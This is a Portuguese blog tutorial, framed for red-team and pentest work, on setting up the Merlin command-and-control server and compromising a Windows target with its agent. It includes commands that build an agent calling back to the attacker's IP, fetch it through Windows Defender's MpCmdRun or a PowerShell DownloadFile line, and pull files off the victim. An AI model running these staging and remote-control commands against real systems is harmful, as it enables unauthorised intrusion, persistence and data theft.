A alguns dias eu demonstrei o GCAT que é um servidor C2 usando GMAIL, claro que ele não é um bom servidor de comando e controle e precisa de muitas alterações e melhoria, mas para um profissional de Red Team e PenTest com certeza um servidor de comando e controle é bem útil, alguns já usam o Covenant ou Cobalt Strike, eu considero otimas ferramentas, porém são soluções mais avançadas e o cobalt sendo uma solução paga.
Porém, existem bons C2 gratuitos, nesse caso vou demonstrar um ótimo C2 que costumo usar também chamado Merlin, eu recomendo que vocês leiam esse artigo abaixo para entender toda a engenharia por trás do Merlin
https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a#df21
Após isso, vamos praticar um pouco com essa ferramenta
Prática
Vamos efetuar a instalação da versão Beta do Merlin, basta digitar:
mkdir /opt/merlin;cd /opt/merlin wget https://github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z 7z x merlinServer-Linux-x64-v0.1.4.7z sudo ./merlinServer-Linux-x64
Vamos acessar a pasta /opt que guarda aplicativos, dentro dela vamos criar a pasta merlin, após isso vamos acessar a pasta merlin e baixar o MerlinServer usando wget, após isso vamos extrair o arquivo usando o 7z e digitar a senha: merlin para extrair o arquivo.
Agora é só executar o arquivo digitando: sudo ./merlinServer-Linux-x64 -i “ipdasuamaquina” -psk “senha que deseja” ou caso não queira definir nada basta digitar ./merlinServer-Linux-x64 caso esteja como root.
A opção -psk é a senha que será utilizada também no agent, por isso é bom memorizar qual você colocou, pois ela fecha um tunel https autenticado do agent com servidor.
Ele trabalha na porta 443 se você quiser entender melhor só ler o artigo acima no medium, se você der um cURL ou até mesmo acessar via browser, não tem nenhuma interface, mas você consegue ver se tem comunicação ou não.
O comando help, vai te dar algumas opções
Agora vamos gerar um agente Windows para compromete-lo e assim ter uma máquina no nosso servidor de Comando e Controle.
Será necessário clonar o repositório do Github
git clone https://github.com/Ne0nd0g/merlin
Agora basta acessar o diretório: /merlin/cmd/merlinserver e digitar o seguinte:
Agora vamos gerar o nosso Agente Windows, basta acessar o diretório:/merlin/cmd/merlinagent
E ai vamos rodar o seguinte comando: go build -ldflags “-X main.url=https://ipdoservidor:443” -o agent.exe main.go
Caso queira gerar para arquitetura de 64 bits é só digitar:
GOOS=windows GOARCH=amd64 go build -ldflags “-X main.url=https://10.0.0.39:443/” -o Agent.exe cmd/merlinagent/main.go
“O ip do servidor é o ip da sua maquina atacante, ao qual esta rodando o Merlin.”
Um outro método que você pode utilizar é baixando o MerlinAgent Windows, usando o seguinte comando:
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinAgent-Windows-x64-v0.8.0.BETA.7z
Agora basta extrair usando o comando:
7z x merlinAgent-Windows-x64-v0.8.0.BETA.7z
Agora precisamos enviar esse agent para nosso alvo e executar na máquina dele, geralmente um C2 faz parte da pós exploração, ao qual garante o acesso ao alvo e assim possa executar comandos e utilizar também como uma botnet.
No meu caso, vou subir um servidor http em python usando o seguinte comando: python3 -m http.server 8000
Agora só jogar no seu alvo você pode baixa-lo por meio de um utilitário do Windows Defender MpCmdRun, caso possua a versão 4.18.2007.9 or 4.18.2009.9.o , basta digitar:
“C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe” -DownloadFile -url https://ipdoservidor:8000/agent.exe -path c:\\Users\\fmt\\Documents\\agent.exe
No meu caso não tenho essa versão, então vou utilizar o wget para isso via powershell
Nesse caso baixei no meu Windows 10 se for Windows 7 o seu alvo você pode usar o comando powershell –c “(new-object System.Net.WebClient).DownloadFile(‘http://ipdoservidor:8000/agent.exe’,’agent.exe’)”
Agora é só executar o agent, digitando: agent.exe -url https://10.0.0.39:443 -psk “senha que você definiu no servidor”
Após obtermos a sessão agora é hora de interagir, claro que vou apresentar apenas alguns comandos básicos para entender seu funcionamento.
Vamos copiar o ID do nosso alvo e interagir com ele, basta digitar:
interact “AGENT ID”
Digitando “help” podemos visualizar os comandos que podemos rodar:
Agora é interagirmos, por exemplo: Vou realizar um ping, você pode estar fazendo isso utilizando o comando CMD ou Shell
Perceba que ele criou um jobid e nos retornou logo abaixo o resultado, assim pode ser feito com outros comandos que deseja realizar, além disso você pode fazer upload de algum arquivo e até mesmo rodar comandos nessa interatividade, por exemplo: O comando “ls”
Ele me retorna os arquivos, como ele cria um processo ele aguarda um tempo e se tudo der certo na execução ele nos retorna o resultado.
No exemplo acima eu rodei o comando Download para baixar aquele .doc que nos listou no comando “ls” e o interessante é que ele armazena em uma pasta separada dentro do /data/agents/id do alvo, além dos logs do que está sendo realizado.
Com certeza o Merlin é um C2 bem útil, eu particularmente gosto bastante dele, claro que você pode explora-lo de mil e uma formas, veja um cenário.
Cenário de uso
Durante os testes de invasão você conseguiu escalar privilégios e será necessário realizar um pivoting, com certeza você vai precisar garantir o acesso ao seu alvo de alguma forma, correto? Alguns utilizam o Metasploit para gerar um script persistente, porém não tem garantia de que será efetivo e vai obter comunicação a todo momento, por isso é sempre bom outras alternativas como um Servidor de Comando e Controle, principalmente para manipular a sua vitima ou suas vitimas para realizar tarefas em massa e assim melhorar mais ainda sua exploração, lembrando da metodologia Cyber Kill Chain.
E caso você queira se tornar um perito no Merlin, vou deixar alguns conteúdos:
https://bestestredteam.com/2019/01/16/merlin-the-c2-wizard/
https://github.com/Ne0nd0g/merlin/wiki
https://howto.thec2matrix.com/c2/merlin
https://posts.specterops.io/merlin-v0-7-0-release-roll-up-717739cde77a
Para dar uma olhada também:
https://github.com/yeyintminthuhtut/Awesome-Red-Teaming
https://www.linkedin.com/in/joas-antonio-dos-santos/detail/recent-activity/posts/
Views: 284